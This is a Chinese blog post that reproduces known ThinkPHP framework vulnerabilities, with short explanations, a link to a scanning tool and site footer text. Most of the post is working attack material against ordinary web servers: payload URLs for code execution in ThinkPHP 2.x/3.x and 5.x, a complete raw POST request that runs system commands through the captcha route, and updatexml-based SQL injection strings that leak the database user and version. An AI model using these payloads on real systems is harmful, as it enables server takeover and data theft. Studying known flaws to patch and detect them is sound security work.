欢迎光临
我们一直在努力

ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

0x01 ThinkPHP 2.x 3.x 任意代码执行

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞,ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)

 

none
payload:/index.php?s=/index/index/name/$%7B@phpinfo()%7D

 

ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)

 

0x02 Thinkphp5 5.0.22/5.1.29 远程代码执行

none
漏洞位置:/index.php?s=captcha
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

 

ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)

 

0x03 ThinkPHP5 5.0.23远程代码执行

 

ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)

POC:post请求 

none
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.222.134:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

 

ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)

 

0X04 ThinkPHP5 SQL注入漏洞/信息泄露

none
信息泄露payload:/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

 

ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)

 

none
sql注入payload:/index.php?ids[0,updatexml(0,concat(0xa,@@version),0)]=1

 

ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)

ThinkPHP 检测工具:https://github.com/Lucifer1993/TPscan

 收藏 (0) 打赏

您可以选择一种方式赞助本站

支付宝扫一扫赞助

微信钱包扫描赞助

除特别注明外,本站所有文章均基于CC-BY-NC-SA 4.0原创,转载请注明出处。
文章名称:《ThinkPHP框架漏洞 远程代码执行_SQL注入_信息泄露复现(附检测工具)》
文章链接:https://www.xpn.cc/4834/fy.html
分享到: 更多 (0)

热门推荐

评论 抢沙发

登录

忘记密码 ?